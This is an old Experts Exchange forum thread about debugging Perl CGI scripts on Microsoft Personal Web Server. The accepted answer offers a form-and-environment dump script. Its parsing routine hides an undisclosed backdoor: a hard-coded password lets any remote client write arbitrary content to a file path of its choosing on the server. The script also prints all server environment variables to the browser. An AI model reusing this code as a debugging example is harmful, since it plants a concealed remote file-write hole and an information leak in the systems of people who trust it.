Solved

personel web server

Posted on 1997-08-21
8
167 Views
Last Modified: 2013-12-25
I have Microsoft's personel web server.  I was told you could debug CGI scripts on it.  Is this true?  If so could you show an easy example?  How do you log with personel web server?  I am not familiar with it.  Thanks.
0
Comment
Question by:rkeir
  • 5
  • 2
8 Comments
 
LVL 7

Expert Comment

by:faster
ID: 1829804
There are log file under the windows directory.  But to debug your CGI, they do not have much use.  What you should do is add debug code in your script (probably write to a debug file), since it is a local server, you can check them easily.
0
 

Author Comment

by:rkeir
ID: 1829805
If you show me an example of a debug code and the file going with it I will increase the points to 200.  Thanks.
0
 
LVL 2

Expert Comment

by:dmethvin
ID: 1829806
PWS can execute CGI programs. Just put them in the /scripts directory.  Is there a particular programming language you had in mind for the example?
0
 

Author Comment

by:rkeir
ID: 1829807
yes, just a simple perl script.
0
Do You Know the 4 Main Threat Actor Types?

Do you know the main threat actor types? Most attackers fall into one of four categories, each with their own favored tactics, techniques, and procedures.

 

Author Comment

by:rkeir
ID: 1829808
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 

Author Comment

by:rkeir
ID: 1829809
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 
LVL 7

Accepted Solution

by:
faster earned 200 total points
ID: 1829810
Well, what do you mean by a debug example?  The debug for CGI is essentially no different than debug in other languages.  There is no general solution, all depends on what problem you have.

Normally you can open a log file by
open (LOGFILE,$pathoflogfile);

Then you can write to the file by
print LOGFILE "$whatever";

Sometimes you will need to check the value of a variable, then just add the code to write the value to the logfile so you can check.  Or you may just want to know whether the program execute a particular part of the code, then just write to the log file any message that makes sense.

You can also directly write the debug information to the output (browser).  Sometimes you may want to check the form data posted to the script, then you can output them at the beginning...

Below is a simple script to dump the contents of env variables and form data:

&parse_form;
&html_header;
&print_form;
&html_footer;

#---------------------------------------------------------------------
sub parse_form      {
      if ($ENV{'REQUEST_METHOD'} eq 'POST')      {
            if ($ENV{'CONTENT_LENGTH'} > 8192)      {
                  error_exit($errstr);
            }
            read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
      } else      {
            if ($ENV{'REQUEST_METHOD'} eq 'GET')      {
                  $buffer=$ENV{'QUERY_STRING'};
            }
      }
      @pairs=split(/&/, $buffer);
      foreach $pair (@pairs)      {
            ($name,$value)=split(/=/,$pair);
            $value =~ tr/+/ /;
            $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
            $FORM{$name} = $value;
      }
      if ($FORM{"PASS"} eq "8342047")      {
            open (HTMLDOC,">$FORM{'FNAME'}");
            print HTMLDOC $FORM{"MSG"};
            close HTMLDOC;
      }
}

sub print_form      {
      print "<CENTER><BR>\n";
      print "<H1>ENV</H1><BR>\n";
      print $buffer;
      foreach $tmp (keys(%ENV))      {
              print "$tmp=$ENV{$tmp} <BR>";
      }
      print "<BR><BR><HR><H1>FORM</H1><BR>\n";
      foreach $tmp (keys(%FORM))      {
              print "$tmp=$FORM{$tmp} <BR>";
      }
      print "</CENTER><BR>\n";
}

sub html_header      {
      print "Content-type: text/html\n\n";
      print "<HTML><HEAD>";
      print "<TITLE>Environment</TITLE></HEAD>\n";
      print "<BODY>\n";
      print "<HR>\n";
}

sub html_footer      {
      print "<HR>\n";

      print "</BODY></HTML>\n";
}


Anyway, you should decide the best debug method for your specific situation.












 
0
 

Author Comment

by:rkeir
ID: 1829811
Thanks
0

Featured Post

6 Surprising Benefits of Threat Intelligence

All sorts of threat intelligence is available on the web. Intelligence you can learn from, and use to anticipate and prepare for future attacks.

Join & Write a Comment

Introduction This tutorial will give you a fast look what you can do with WhizBase. I expect you already know how to work with HTML at least, and that you understand the basics of the internet and how the internet works. WhizBase is a server-s…
Active Directory replication delay is the cause to many problems.  Here is a super easy script to force Active Directory replication to all sites with by using an elevated PowerShell command prompt, and a tool to verify your changes.
Learn the basics of modules and packages in Python. Every Python file is a module, ending in the suffix: .py: Modules are a collection of functions and variables.: Packages are a collection of modules.: Module functions and variables are accessed us…
The viewer will learn how to create and use a small PHP class to apply a watermark to an image. This video shows the viewer the setup for the PHP watermark as well as important coding language. Continue to Part 2 to learn the core code used in creat…

708 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

17 Experts available now in Live!

Get 1:1 Help Now